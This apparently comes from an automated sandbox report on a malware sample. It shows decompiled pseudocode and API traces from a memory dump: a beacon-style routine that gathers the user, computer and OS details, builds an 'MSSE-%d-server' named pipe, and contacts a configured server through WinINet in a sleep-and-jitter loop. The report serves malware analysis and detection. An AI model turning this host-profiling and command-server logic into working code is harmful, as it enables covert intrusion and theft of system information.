				_v24 = E00866857(_v8, 0x100);
				_v16 = E00866857(_v8, 0x100);
				_v12 = 0x100;
				GetUserNameA(_v24,  &_v12); // executed
				_v12 = 0x100;
				GetComputerNameA(_v28,  &_v12);
				_t46 = E00862634(_v16); // executed
				_pop(_t70);
				_v32 = _t46;
				if(GetModuleFileNameA(0, _v16, 0x100) == 0) {
					L3:
					_v16 = 0x88d692;
				} else {
					_t65 = E00875E90(_t70, _v16, 0x5c);
					if(_t65 == 0) {
						goto L3;
					} else {
						_t66 = _t65 + 1;
						_v16 = _t66;
						if(_t66 == 0) {
							goto L3;
						}
					}
				}
				_t68->dwOSVersionInfoSize = 0x94;
				GetVersionExA(_t68);
				_t86 = _a4;
				 *0x89b30c = _t68->dwMajorVersion;
				E00861C43(_t68->dwMajorVersion & 0x000000ff);
				E00861C43(_t68->dwMinorVersion & 0x000000ff);
				E00861C06(E00861C06(E00861C06(E00861C06(E00861C23(_t68->dwBuildNumber & 0x0000ffff, _t68->dwBuildNumber & 0x0000ffff), 0), __imp__GetModuleHandleA), __imp__GetProcAddress), _v32);
				_push(_v16);
				_push(_v24);
				E008749A6(0x100, _a4, _v20, 0x100, "%s\t%s\t%s", _v28);
				_t61 = _v20;
				_t78 = _t61 + 1;
				do {
					_t83 =  *_t61;
					_t61 = _t61 + 1;
				} while (_t83 != 0);
				_t62 = _t61 - _t78;
				_t96 = _t62 - 0x3a;
				if(_t62 > 0x3a) {
					_t62 = 0x3a;
				}
				E00861C55(_t62, _t86, _v20);
				return E008667A9(_t68, 0x100, _v8, _t96);
			}

0x008664ce
0x008664dd
0x008664e8
0x008664f4
0x00866500
0x0086650b
0x00866515
0x00866518
0x00866525
0x00866528
0x00866531
0x00866536
0x0086653b
0x00866548
0x00866560
0x00866560
0x0086654a
0x0086654f
0x00866558
0x00000000
0x0086655a
0x0086655a
0x0086655b
0x0086655e
0x00000000
0x00000000
0x0086655e
0x00866558
0x00866568
0x0086656a
0x00866573
0x00866576
0x0086657f
0x0086658a
0x008665be
0x008665c4
0x008665c7
0x008665d6
0x008665db
0x008665e1
0x008665e4
0x008665e4
0x008665e6
0x008665e7
0x008665eb
0x008665ed
0x008665f0
0x008665f4
0x008665f4
0x008665fa
0x0086660c

APIs

Part of subcall function 00866769: _malloc.LIBCMT ref: 0086676F
Part of subcall function 00866769: _malloc.LIBCMT ref: 0086677F
Part of subcall function 00866769: _memset.LIBCMT ref: 00866791

GetUserNameA.ADVAPI32(?,?), ref: 00866518
GetComputerNameA.KERNEL32(?,?), ref: 00866528

Part of subcall function 00862634: gethostname.WS2_32(00866536,00000100), ref: 00862645
Part of subcall function 00862634: gethostbyname.WS2_32(00866536), ref: 00862652

GetModuleFileNameA.KERNEL32(00000000,?,00000100,?,?,?,?,?,?,?,?,?,00000000), ref: 00866540
_strrchr.LIBCMT ref: 0086654F
GetVersionExA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 0086656A
__snprintf.LIBCMT ref: 008665D6

Strings

%s%s%s, xrefs: 008665CD

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: Name$_malloc$ComputerFileModuleUserVersion__snprintf_memset_strrchrgethostbynamegethostname
String ID: %s%s%s
API String ID: 1796082291-1891519693
Opcode ID: 11ae81d257afaf5491b65e5a4e58ec705b1e886c0b53ae882e552ba1b1e91b24
Instruction ID: 8a0fee9244dcb5318a8d6c762b4a40b84276b35749c0df6fe210a9d4409d2fc9
Opcode Fuzzy Hash: 11ae81d257afaf5491b65e5a4e58ec705b1e886c0b53ae882e552ba1b1e91b24
Instruction Fuzzy Hash: 5E41AE71C00249BEDF11AFA9DD4ADAEBFB4FF44300F21806AF504E6292EA359A50DB51

Uniqueness

Uniqueness Score: -1.00%

Function 0086B113, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 44
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0086B113(void* __ecx, BYTE* _a4, int _a8) {
				long* _v8;
				char* _t10;
				int _t13;
				char* _t17;
				int _t21;

				_v8 = _v8 & 0x00000000;
				_t17 = "Microsoft Base Cryptographic Provider v1.0";
				_t10 = CryptAcquireContextA( &_v8, 0, _t17, 1, 0xf0000020); // executed
				if(_t10 != 0) {
					L3:
					_t21 = _a8;
					if(CryptGenRandom(_v8, _t21, _a4) != 1) {
						_t21 = 0;
					}
					CryptReleaseContext(_v8, 0);
					_t13 = _t21;
					L2:
					return _t13;
				}
				_t13 = CryptAcquireContextA( &_v8, _t10, _t17, 1, 0xf0000028);
				if(_t13 != 0) {
					goto L3;
				}
				goto L2;
			}

0x0086b117
0x0086b12a
0x0086b136
0x0086b13a
0x0086b153
0x0086b156
0x0086b166
0x0086b177
0x0086b177
0x0086b16d
0x0086b173
0x0086b14f
0x0086b152
0x0086b152
0x0086b149
0x0086b14d
0x00000000
0x00000000
0x00000000

APIs

CryptAcquireContextA.ADVAPI32(00000000,00000000,Microsoft Base Cryptographic Provider v1.0,00000001,F0000020,00000100,00000000,?,?,0086B189,?,0086663D,?,0086663D,?), ref: 0086B136
CryptAcquireContextA.ADVAPI32(00000000,00000000,Microsoft Base Cryptographic Provider v1.0,00000001,F0000028,?,?,0086B189,?,0086663D,?,0086663D,?), ref: 0086B149
CryptGenRandom.ADVAPI32(00000000,0086663D,?,?,?,0086B189,?,0086663D,?,0086663D,?), ref: 0086B15D
CryptReleaseContext.ADVAPI32(00000000,00000000,?,?,0086B189,?,0086663D,?,0086663D,?), ref: 0086B16D

Strings

Microsoft Base Cryptographic Provider v1.0, xrefs: 0086B12A, 0086B12F, 0086B143

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: Crypt$Context$Acquire$RandomRelease
String ID: Microsoft Base Cryptographic Provider v1.0
API String ID: 685801729-291530887
Opcode ID: 7cea3d03d032245c9e632c5951ed728e2dfaf48077e2dc97e0b8a1e564ab8afb
Instruction ID: 044d6e151fe06627bfd1b0c19a509f20e7d6fb62b3de6a46e478be0c09983ad7
Opcode Fuzzy Hash: 7cea3d03d032245c9e632c5951ed728e2dfaf48077e2dc97e0b8a1e564ab8afb
Instruction Fuzzy Hash: 46F08C36940218F7DF218A95DC09F8F7B7CFB46728F214021BA01E3190D3709A40A7A4

Uniqueness

Uniqueness Score: -1.00%

Function 00401648, Relevance: 6.1, APIs: 4, Instructions: 57pipeCOMMON

Download Yara Rule

APIs

CreateNamedPipeA.KERNEL32 ref: 0040169D
ConnectNamedPipe.KERNELBASE ref: 004016BB
FindCloseChangeNotification.KERNELBASE ref: 00401704

Memory Dump Source

Source File: 00000000.00000002.507969338.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.507960494.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.507986102.0000000000403000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.508034111.0000000000446000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.508042179.0000000000448000.00000004.00020000.sdmp Download File

Similarity

API ID: NamedPipe$ChangeCloseConnectCreateFindNotification
String ID:
API String ID: 110351524-0
Opcode ID: ba172af655d8d9eb0c43374026b79c19f4eba10334915f487b80571958bed986
Instruction ID: ccbd4ef3ba15f396af25d4adf6660e8907c917c81d7197408b3cda74cb204408
Opcode Fuzzy Hash: ba172af655d8d9eb0c43374026b79c19f4eba10334915f487b80571958bed986
Instruction Fuzzy Hash: 832147B58083019FE7009F69C84879FBBF4EF80754F00C92EE89497290D77995498F96

Uniqueness

Uniqueness Score: -1.00%

Function 00401840, Relevance: 22.8, APIs: 3, Strings: 10, Instructions: 31
threadCOMMON

Download Yara Rule

C-Code - Quality: 15%

			E00401840(char* _a4) {
				signed int _v16;
				char* _v20;
				intOrPtr _v24;
				void* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				char* _v40;
				char* _v44;
				char* _v48;
				intOrPtr _v52;
				char* _v56;
				signed int _t26;
				void* _t30;
				void* _t31;
				intOrPtr _t32;
				intOrPtr _t33;
				int _t36;
				void* _t37;
				char** _t48;

				_t26 = GetTickCount();
				_v20 = 0x5c;
				_v24 = 0x65;
				_v28 = 0x70;
				_v32 = 0x69;
				_v36 = 0x70;
				_v40 = 0x5c;
				_v44 = 0x2e;
				_v48 = 0x5c;
				_v52 = 0x5c;
				_v56 = "%c%c%c%c%c%c%c%c%cMSSE-%d-server";
				 *_t48 = 0x4473f0;
				_v16 = _t26 % 0x26aa;
				sprintf(??, ??);
				_v40 = 0;
				_v44 = 0;
				_v48 = 0;
				_v52 = E00401713;
				_v56 = 0;
				 *_t48 = 0; // executed
				CreateThread(??, ??, ??, ??, ??, ??); // executed
				_a4 = 0;
				_pop(_t46);
				_t30 =  *0x403004; // 0x33400
				_v28 = _t30; // executed
				_t31 = malloc(_t36);
				_t37 = _t31;
				do {
					Sleep(0x400); // executed
					_push(_t31);
					_t32 =  *0x403004; // 0x33400
					_v28 = _t37;
					_v24 = _t32;
					_t31 = E00401732(0x26aa); // executed
				} while (_t31 == 0);
				_t33 =  *0x403004; // 0x33400
				E0040158E(_t37, _t33, 0x403008); // executed
				return 0;
			}

0x00401846
0x00401853
0x0040185b
0x00401863
0x0040186b
0x00401873
0x0040187d
0x00401885
0x0040188d
0x00401895
0x0040189d
0x004018a5
0x004018ac
0x004018b0
0x004018b5
0x004018bd
0x004018c5
0x004018cd
0x004018d5
0x004018dd
0x004018e4
0x004018ea
0x004018f4
0x004017ea
0x004017ef
0x004017f2
0x004017fd
0x004017ff
0x00401806
0x00401808
0x00401809
0x0040180e
0x00401811
0x00401815
0x0040181a
0x0040181e
0x00401832
0x0040183f

APIs

GetTickCount.KERNEL32 ref: 00401846
sprintf.MSVCRT ref: 004018B0
CreateThread.KERNELBASE ref: 004018E4

Strings

D`D, xrefs: 0040189D
\, xrefs: 00401853
\, xrefs: 0040188D
\, xrefs: 00401895
p, xrefs: 00401863
\, xrefs: 0040187D
., xrefs: 00401885
e, xrefs: 0040185B
p, xrefs: 00401873
i, xrefs: 0040186B

Memory Dump Source

Source File: 00000000.00000002.507969338.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.507960494.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.507986102.0000000000403000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.508034111.0000000000446000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.508042179.0000000000448000.00000004.00020000.sdmp Download File

Similarity

API ID: CountCreateThreadTicksprintf
String ID: .$D`D$\$\$\$\$e$i$p$p
API String ID: 1367138260-3201244296
Opcode ID: 8295fdf9867c34b44b3d621490fdd460e29612f8fa0526c1f2d47d1528dbd1bb
Instruction ID: 646183b92c21130465b431c918e991b866fa71c55bee60e43de4ece1c24429bd
Opcode Fuzzy Hash: 8295fdf9867c34b44b3d621490fdd460e29612f8fa0526c1f2d47d1528dbd1bb
Instruction Fuzzy Hash: 52016CB4408341DFE300DF15D54D30FBEE5AB84749F108A1DE5981A291C7BE86499F9B

Uniqueness

Uniqueness Score: -1.00%

Function 0086660D, Relevance: 12.1, APIs: 8, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E0086660D(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				char _v28;
				char _v44;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t29;
				intOrPtr _t32;
				void* _t35;
				void* _t50;
				void* _t59;
				void* _t60;
				void* _t63;
				void* _t65;
				void* _t67;
				void* _t73;
				void* _t74;
				void* _t75;
				char* _t76;
				void* _t77;

				_t74 = __edx;
				_t59 = __ecx;
				_v12 = GetACP() & 0x0000ffff;
				_v16 = GetOEMCP() & 0x0000ffff;
				_v8 = 0;
				E0086B17B(_t59,  &_v44, 0x10); // executed
				E00869E49( &_v44, _t59, _t74,  &_v44);
				_t29 = GetCurrentProcessId();
				E00874C70(_t29 ^ GetTickCount());
				_pop(_t60);
				_t32 = E00861310();
				 *0x89b308 = _t32;
				 *0x89af00 = _t32;
				if(E0086D2F6() == 0) {
					_t35 = E0086318D(_t60, GetCurrentProcess());
					__eflags = _t35;
					if(_t35 != 0) {
						goto L3;
					}
				} else {
					_v8 = 2;
					L3:
					_v8 = _v8 | 0x00000004;
				}
				if(E0086AD18() != 0) {
					_v8 = _v8 | 0x00000008;
				}
				_t76 =  &_v28;
				E00861BD1(_t36, _t76, _a4, _a8);
				_push( &_v44);
				_t63 = 0x10;
				_t81 = _t76;
				E00861C55(_t63, _t76);
				_push( &_v12);
				_t65 = 2;
				E00861C55(_t65, _t76);
				_push( &_v16);
				_t67 = 2;
				E00861C06(E00861C55(_t67, _t76),  *0x89b308);
				E00861C23(E00861C06(GetCurrentProcessId(), _t45), 0);
				E00861C43(_v8);
				_t50 = E008664B3(0, _t76); // executed
				_pop(_t73);
				_t77 = E00861C90(_t50, _t81);
				E0087C290(_t77, 0x89af08, 0, 0x400);
				 *0x89af04 = 0x80;
				E0087B0A0(0, _t77, 0x89af08, 0x89af08, _a4, _t77);
				_push(0x89af04);
				_push(0x89af08);
				_push(_t77);
				_push(_a4);
				_t75 = 7;
				_push(E00869F7B(_t75)); // executed
				E00869EDA(_t73, 0); // executed
				return E0087C290(_t77, _a4, 0, _t77);
			}

0x0086660d
0x0086660d
0x0086661f
0x0086662b
0x00866634
0x00866638
0x00866641
0x0086664f
0x0086665c
0x00866661
0x00866662
0x00866667
0x0086666c
0x00866678
0x00866687
0x0086668d
0x0086668f
0x00000000
0x00000000
0x0086667a
0x0086667a
0x00866691
0x00866691
0x00866691
0x0086669c
0x0086669e
0x0086669e
0x008666a8
0x008666ab
0x008666b4
0x008666b7
0x008666b8
0x008666ba
0x008666c3
0x008666c6
0x008666c7
0x008666d0
0x008666d3
0x008666e0
0x008666f2
0x008666fb
0x00866704
0x00866709
0x0086671b
0x0086671d
0x00866729
0x00866734
0x0086673c
0x00866741
0x00866742
0x00866743
0x00866748
0x0086674e
0x0086674f
0x00866768

APIs

GetACP.KERNEL32(00000100,00000000,00000080,?,?,?,?,?,?,?,?,00861424,?,00000000), ref: 00866616
GetOEMCP.KERNEL32(?,?,?,?,?,?,?,?,00861424,?,00000000,?,?,?,00000000,00000100), ref: 00866622
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00861424,?), ref: 0086664F
GetTickCount.KERNEL32 ref: 00866653

Part of subcall function 00874C70: __getptd.LIBCMT ref: 00874C75

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00861424,?), ref: 00866680
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,00861424,?), ref: 008666E6
_memset.LIBCMT ref: 0086671D
_memset.LIBCMT ref: 0086675C

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: CurrentProcess$_memset$CountTick__getptd
String ID:
API String ID: 3908538216-0
Opcode ID: 97a4958b5c35cd7aa966464c761a4d06cfe2665e11210197c904093a4d2f6dd8
Instruction ID: 56ad7b6f81145b3112cd08072177e26d4d1bd0965c40efe962a03e886c7c8d6e
Opcode Fuzzy Hash: 97a4958b5c35cd7aa966464c761a4d06cfe2665e11210197c904093a4d2f6dd8
Instruction Fuzzy Hash: 3D31CB72800204AADF15BBB9ED4AE9E3B6CFF04325F194416F505EB183EE34D95457A2

Uniqueness

Uniqueness Score: -1.00%

Function 00861F64, Relevance: 9.1, APIs: 6, Instructions: 114
networkCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E00861F64(void* __ecx, void* __eflags, char* _a4, short _a8, char* _a12) {
				void _v8;
				void* _t9;
				signed char _t11;
				signed int _t16;
				void* _t18;
				void* _t23;
				void* _t24;
				void* _t32;
				void* _t33;
				void* _t44;
				void* _t45;
				void* _t46;
				void* _t47;
				void* _t48;
				void* _t49;
				void* _t50;
				void* _t51;
				void* _t54;

				_v8 = 0x3a980;
				E0086A805(_t9);
				_t11 = E00869F52(1);
				_t44 = 0x32;
				 *0x893c5c = ((0 | (_t11 & 0x00000008) != 0x00000008) - 0x00000001 & 0x00803000) + 0x84400200;
				if(E00869F52(_t44) == 1) {
					 *0x893c5c =  *0x893c5c | 0x00080000;
				}
				_t45 = 0x23;
				_t16 = E00869F52(_t45) & 0x0000ffff;
				if(_t16 == 0) {
					L6:
					_push(0);
					_push(0);
					_t46 = 0x20;
					_push(E00869F7B(_t46));
					_push(3);
					goto L7;
				} else {
					_t32 = _t16 - 1;
					if(_t32 == 0) {
						_push(0);
						_push(0);
						_push(0);
						_push(1);
						goto L7;
					} else {
						_t33 = _t32 - 1;
						if(_t33 == 0) {
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							L7:
							_t18 = InternetOpenA(_a12, ??, ??, ??, ??); // executed
							 *0x8975f4 = _t18;
						} else {
							if(_t33 == 0) {
								goto L6;
							}
						}
					}
				}
				InternetSetOptionA( *0x8975f4, 5,  &_v8, 4);
				InternetSetOptionA( *0x8975f4, 6,  &_v8, 4);
				_t23 = InternetConnectA( *0x8975f4, _a4, _a8, 0, 0, 3, 0, 0x893c58); // executed
				_t54 = _t23;
				_t47 = 0x23;
				 *0x8975f8 = _t54;
				_t24 = E00869F52(_t47);
				_t67 = _t24 - 4;
				if(_t24 == 4) {
					_t48 = 0x21;
					_push(E00869F8C(_t48, _t67));
					_t49 = 0x21;
					InternetSetOptionA(_t54, 0x2b, E00869F7B(_t49), ??);
					_t50 = 0x22;
					_push(E00869F8C(_t50, _t67));
					_t51 = 0x22;
					InternetSetOptionA( *0x8975f8, 0x2c, E00869F7B(_t51), ??);
				}
				return E0086A826();
			}

0x00861f68
0x00861f6f
0x00861f77
0x00861f87
0x00861f95
0x00861fa4
0x00861fa6
0x00861fa6
0x00861fb4
0x00861fbf
0x00861fc1
0x00861fd5
0x00861fd5
0x00861fd6
0x00861fd9
0x00861fdf
0x00861fe0
0x00000000
0x00861fc3
0x00861fc3
0x00861fc4
0x0086208d
0x0086208e
0x0086208f
0x00862090
0x00000000
0x00861fca
0x00861fca
0x00861fcb
0x00862084
0x00862085
0x00862086
0x00862087
0x00861fe2
0x00861fe5
0x00861feb
0x00861fd1
0x00861fd3
0x00000000
0x00000000
0x00861fd3
0x00861fcb
0x00861fc4
0x00862004
0x00862014
0x0086202c
0x00862032
0x00862036
0x00862037
0x0086203d
0x00862042
0x00862046
0x0086204a
0x00862050
0x00862053
0x0086205d
0x00862061
0x00862067
0x0086206a
0x00862079
0x00862079
0x00862083

APIs

InternetOpenA.WININET(008614A3,00000003,00000000,00000000,00000000), ref: 00861FE5
InternetSetOptionA.WININET(00000005,0003A980,00000004), ref: 00862004
InternetSetOptionA.WININET(00000006,0003A980,00000004), ref: 00862014
InternetConnectA.WININET(?,?,00000000,00000000,00000003,00000000,00893C58), ref: 0086202C
InternetSetOptionA.WININET(00000000,0000002B,00000000,00000000), ref: 0086205D
InternetSetOptionA.WININET(0000002C,00000000,00000000), ref: 00862079

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: Internet$Option$ConnectOpen
String ID:
API String ID: 230958251-0
Opcode ID: 4252901b7a1ee02db4d9ed2d23b4f0c856b2e2eab3d008adb7c77bbef5427773
Instruction ID: d4e90cd68a5b52b5560e842bf34694094ff1fe1638eb04e1df1e5afea23ddece
Opcode Fuzzy Hash: 4252901b7a1ee02db4d9ed2d23b4f0c856b2e2eab3d008adb7c77bbef5427773
Instruction Fuzzy Hash: 7B31D4352446057AEA313729ED4EF7B3E2CF7C1B11F178126F200D90E1CEB58942DA21

Uniqueness

Uniqueness Score: -1.00%

Function 0086131B, Relevance: 7.7, APIs: 5, Instructions: 225
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E0086131B(void* __eflags) {
				intOrPtr _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				signed int _v28;
				intOrPtr _v32;
				signed int _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t50;
				intOrPtr _t53;
				intOrPtr _t54;
				signed short _t55;
				signed int _t57;
				intOrPtr _t58;
				intOrPtr _t60;
				void* _t67;
				signed short _t68;
				intOrPtr _t71;
				signed int _t85;
				void* _t87;
				signed int _t88;
				signed int _t90;
				signed int _t91;
				void* _t97;
				signed int _t106;
				void* _t109;
				void* _t114;
				void* _t116;
				signed int _t118;
				void* _t119;
				void* _t122;
				void* _t123;
				void* _t124;
				void* _t125;
				void* _t126;
				void* _t127;
				void* _t128;
				void* _t129;
				void* _t130;
				void* _t131;
				void* _t132;
				signed int _t133;
				void* _t138;
				signed int _t143;
				signed int _t145;
				void* _t149;

				_t152 = __eflags;
				_push(_t109);
				_t50 = E00866769(_t109, __eflags, 0x280);
				_t138 = 0x100;
				_t142 = _t50;
				_v20 = E00866857(_t50, 0x100);
				E00866857(_t50, 0x100);
				_t2 = _t138 - 0x80; // 0x80
				_t110 = _t2;
				_t53 = E00866857(_t142, _t2);
				_v28 = _v28 & 0x00000000;
				_t122 = 8;
				_v32 = _t53;
				_t54 = E00869F7B(_t122);
				_t123 = 2;
				_v24 = _t54;
				_t55 = E00869F52(_t123);
				_t124 = 3;
				_v12 = _t55 & 0x0000ffff;
				_t57 = E00869F64(_t124);
				_t125 = 9;
				_t143 = _t57;
				_t58 = E00869F7B(_t125);
				_t126 = 0xa;
				_v16 = _t58;
				_v8 = E00869F7B(_t126);
				_t60 = E00874855(_t2, _t126, 0x100, 0x10);
				_t127 = 0x45;
				_v40 = _t60;
				_push(E00869F64(_t127));
				_t128 = 0x46;
				_push(E00869F64(_t128));
				_t129 = 0x44;
				_push(E00869F64(_t129));
				_t130 = 0x43;
				E0086A31C(_v40, E00869F52(_t130) & 0x0000ffff);
				_t149 = (_t145 & 0xfffffff8) - 0x2c + 0x28;
				_t67 = E00862ECF(_t152);
				_t153 = _t67;
				if(_t67 != 0) {
					E0086A7A3(_t153);
				}
				_t131 = 5;
				 *0x8931a4 = _t143;
				_t68 = E00869F52(_t131);
				_t132 = 4;
				 *0x8975f0 = _t68 & 0x0000ffff;
				_t71 = E00874855(_t110, _t132, _t138, E00869F64(_t132)); // executed
				_pop(_t114);
				_t133 = 4;
				_v44 = _t71;
				E0086660D(_t114, _t133, _v44, E00869F64(_t133)); // executed
				_t154 =  *0x8931a4;
				_pop(_t116);
				if( *0x8931a4 <= 0) {
					L28:
					_push(_v40);
					E00874778(_t110, _t133, _t138, _t143, _t164);
					return E0086A7A3(_t164);
				}
				_t143 = "%s";
				while(1) {
					_push(_v28);
					E008749A6(_t138, _t143, _v32, _t110, _t143, E0086A6A9(_v40, _t110, _t133, _t138, _t143, _v24));
					_v28 = _v28 & 0x00000000;
					_push(0);
					E008749A6(_t138, _t143, _v20, _t110, _t143, E0086A6A9(_v40, _t110, _t133, _t138, _t143, _v24));
					 *0x8931a8 = 1;
					E008749A6(_t138, _t143, 0x89b320, _t138, _t143, _v8);
					E00861F64(_t116, _t154, _v32, _v12, _v16); // executed
					_t133 = 4;
					_t85 = E0086257F(_v20, _v44, E00869F64(_t133)); // executed
					_t149 = _t149 + 0x58;
					_v36 = _t85;
					if(_t85 > 0) {
						_t106 = E00869C57(_t85, _t110, _t116, _t133, _v44);
						_v36 = _t106;
						if(_t106 > 0) {
							E00868392(_v44, _t106);
							_t138 = 0x100;
						}
					}
					if(_v36 == 0xffffffff) {
						_v28 = 1;
					} else {
						E0086715A();
						_t133 = 0x1c;
						_t97 = E00869F64(_t133);
						_t158 = _t97;
						if(_t97 != 0) {
							_push(0x1000);
						} else {
							_push(0x80000);
						}
						E00863D57(_t110);
						_pop(_t119);
						E00865DFB(_t119);
						E00865725();
						if(E00862ECF(_t158) != 0) {
							E00862676();
						}
						_t160 =  *0x897600;
						if( *0x897600 > 0) {
							E00862097();
							E00861F64(_t119, _t160, _v32, _v12, _v16);
							_t149 = _t149 + 0xc;
							E00862185(_t160);
						}
					}
					E00862097();
					_t87 = E00862ECF(_t160);
					_t161 = _t87;
					if(_t87 != 0) {
						E0086A7A3(_t161);
					}
					_t118 =  *0x8931a4;
					if(_t118 <= 0) {
						goto L28;
					}
					_t88 =  *0x8975f0;
					_t163 = _t88;
					if(_t88 != 0) {
						_t118 = 0x64;
						_t90 = _t88 * _t118 / _t118;
						_v36 = _t90;
						__eflags = _t90;
						if(_t90 <= 0) {
							_t133 = 0;
							__eflags = 0;
						} else {
							_t133 = E008626CE() % _v36;
						}
						_t91 =  *0x8931a4;
						__eflags = _t133 - _t91;
						if(__eflags < 0) {
							_t91 = _t91 - _t133;
							__eflags = _t91;
						}
						_push(_t91); // executed
					} else {
						_push(_t118);
					}
					E0086432A(_t118, _t163); // executed
					_t164 =  *0x8931a4;
					_pop(_t116);
					if( *0x8931a4 > 0) {
						continue;
					} else {
						goto L28;
					}
				}
				goto L28;
			}

0x0086131b
0x00861324
0x0086132c
0x00861332
0x00861337
0x00861342
0x00861346
0x0086134b
0x0086134b
0x00861350
0x00861355
0x0086135c
0x0086135d
0x00861361
0x00861368
0x00861369
0x0086136d
0x00861377
0x00861378
0x0086137c
0x00861383
0x00861384
0x00861386
0x0086138d
0x0086138e
0x00861399
0x0086139d
0x008613a7
0x008613a8
0x008613b1
0x008613b4
0x008613ba
0x008613bd
0x008613c3
0x008613c6
0x008613d3
0x008613d8
0x008613db
0x008613e0
0x008613e2
0x008613e4
0x008613e4
0x008613eb
0x008613ec
0x008613f2
0x008613fc
0x008613fd
0x00861408
0x0086140d
0x00861410
0x00861411
0x0086141f
0x00861424
0x0086142c
0x0086142d
0x008615c5
0x008615c5
0x008615c9
0x008615da
0x008615da
0x00861433
0x00861438
0x00861438
0x00861450
0x00861459
0x0086145e
0x00861470
0x00861479
0x0086148a
0x0086149e
0x008614a8
0x008614b7
0x008614bc
0x008614bf
0x008614c5
0x008614cb
0x008614d1
0x008614d7
0x008614de
0x008614e4
0x008614e4
0x008614d7
0x008614ee
0x00861554
0x008614f0
0x008614f0
0x008614f7
0x008614f8
0x008614fd
0x008614ff
0x00861508
0x00861501
0x00861501
0x00861501
0x0086150d
0x00861512
0x00861513
0x00861518
0x00861524
0x00861526
0x00861526
0x0086152b
0x00861532
0x00861534
0x00861545
0x0086154a
0x0086154d
0x0086154d
0x00861532
0x0086155c
0x00861561
0x00861566
0x00861568
0x0086156a
0x0086156a
0x0086156f
0x00861577
0x00000000
0x00000000
0x00861579
0x0086157e
0x00861580
0x0086158c
0x0086158d
0x0086158f
0x00861593
0x00861595
0x008615a4
0x008615a4
0x00861597
0x0086159e
0x0086159e
0x008615a6
0x008615ab
0x008615ad
0x008615af
0x008615af
0x008615af
0x008615b1
0x00861582
0x00861582
0x00861582
0x008615b2
0x008615b7
0x008615be
0x008615bf
0x00000000
0x00000000
0x00000000
0x00000000
0x008615bf
0x00000000

APIs

Part of subcall function 00866769: _malloc.LIBCMT ref: 0086676F
Part of subcall function 00866769: _malloc.LIBCMT ref: 0086677F
Part of subcall function 00866769: _memset.LIBCMT ref: 00866791

_malloc.LIBCMT ref: 0086139D

Part of subcall function 00874855: __FF_MSGBANNER.LIBCMT ref: 00874878
Part of subcall function 00874855: __NMSG_WRITE.LIBCMT ref: 0087487F
Part of subcall function 00874855: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,0087C679,00000000,00000001,00000000,?,00876452,00000018,0088F6E8,0000000C,008764E3), ref: 008748CC

_malloc.LIBCMT ref: 00861408
__snprintf.LIBCMT ref: 00861450
__snprintf.LIBCMT ref: 00861470
__snprintf.LIBCMT ref: 0086148A

Part of subcall function 0086A7A3: Sleep.KERNEL32(000003E8,008615D4,?,?,?,00000000,00000100,00000000,00000100,?,?,?), ref: 0086A7C4
Part of subcall function 0086A7A3: ExitThread.KERNEL32 ref: 0086A7CE

Part of subcall function 00861F64: InternetOpenA.WININET(008614A3,00000003,00000000,00000000,00000000), ref: 00861FE5
Part of subcall function 00861F64: InternetSetOptionA.WININET(00000005,0003A980,00000004), ref: 00862004
Part of subcall function 00861F64: InternetSetOptionA.WININET(00000006,0003A980,00000004), ref: 00862014
Part of subcall function 00861F64: InternetConnectA.WININET(?,?,00000000,00000000,00000003,00000000,00893C58), ref: 0086202C
Part of subcall function 00861F64: InternetSetOptionA.WININET(00000000,0000002B,00000000,00000000), ref: 0086205D
Part of subcall function 00861F64: InternetSetOptionA.WININET(0000002C,00000000,00000000), ref: 00862079

Part of subcall function 00862185: _memset.LIBCMT ref: 008621B0
Part of subcall function 00862185: _memset.LIBCMT ref: 008621C5
Part of subcall function 00862185: __snprintf.LIBCMT ref: 00862203
Part of subcall function 00862185: __snprintf.LIBCMT ref: 0086221F
Part of subcall function 00862185: __snprintf.LIBCMT ref: 0086227F
Part of subcall function 00862185: HttpOpenRequestA.WININET(00000000,?,00000000,00000000,0088D530,00893C58), ref: 008622D3

Part of subcall function 00862097: InternetCloseHandle.WININET(0088D524), ref: 008620A9
Part of subcall function 00862097: InternetCloseHandle.WININET ref: 008620B1

Part of subcall function 00862ECF: GetLocalTime.KERNEL32(?,?,?,?,008613E0,?,?,?,00000000,00000100,00000000,00000100,?,?,?), ref: 00862EE7

Part of subcall function 0086A7A3: CreateThread.KERNEL32 ref: 0086A7EE
